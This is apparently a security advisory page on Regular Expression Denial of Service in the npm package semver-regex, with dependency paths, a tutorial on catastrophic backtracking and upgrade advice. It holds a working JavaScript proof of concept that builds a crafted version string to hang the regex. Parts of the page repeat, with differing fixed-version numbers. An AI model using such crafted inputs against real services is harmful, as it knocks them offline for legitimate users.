ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver-regex
to version 3.1.4, 4.0.3 or higher.
References
medium severity
- Vulnerable module: semver-regex
- Introduced through: conventional-github-releaser@2.0.2
Detailed paths
-
Introduced through: automatic-release@dominique-mueller/automatic-release#582978b6b9bceedca4a6791c810c26bf39e15259 › conventional-github-releaser@2.0.2 › semver-regex@1.0.0
Overview
semver-regex is a Regular expression for matching semver versions
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).
PoC
// import of the vulnerable library
const semverRegex = require('semver-regex');
// import of measurement tools
const { PerformanceObserver, performance } = require('perf_hooks');
// config of measurements tools
const obs = new PerformanceObserver((items) => {
console.log(items.getEntries()[0].duration);
performance.clearMarks();
});
obs.observe({ entryTypes: ['measure'] });
// base version string
let version = "v1.1.3-0a"
// Adding the evil code, resulting in string
// v1.1.3-0aa.aa.aa.aa.aa.aa.a…a.a"
for(let i=0; i < 20; i++) {
version += "a.a"
}
// produce a good version
// Parses well for the regex in milliseconds
let goodVersion = version + "2"
// good version proof
performance.mark("good before")
const goodresult = semverRegex().test(goodVersion);
performance.mark("good after")
console.log(`Good result: ${goodresult}`)
performance.measure('Good', 'good before', 'good after');
// create a bad/exploit version that is invalid due to the last $ sign
// will cause the nodejs engine to hang, if not, increase the a.a
// additions above a bit.
badVersion = version + "aaaaaaa$"
// exploit proof
performance.mark("bad before")
const badresult = semverRegex().test(badVersion);
performance.mark("bad after")
console.log(`Bad result: ${badresult}`)
performance.measure('Bad', 'bad before', 'bad after');
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver-regex
to version 3.1.2 or higher.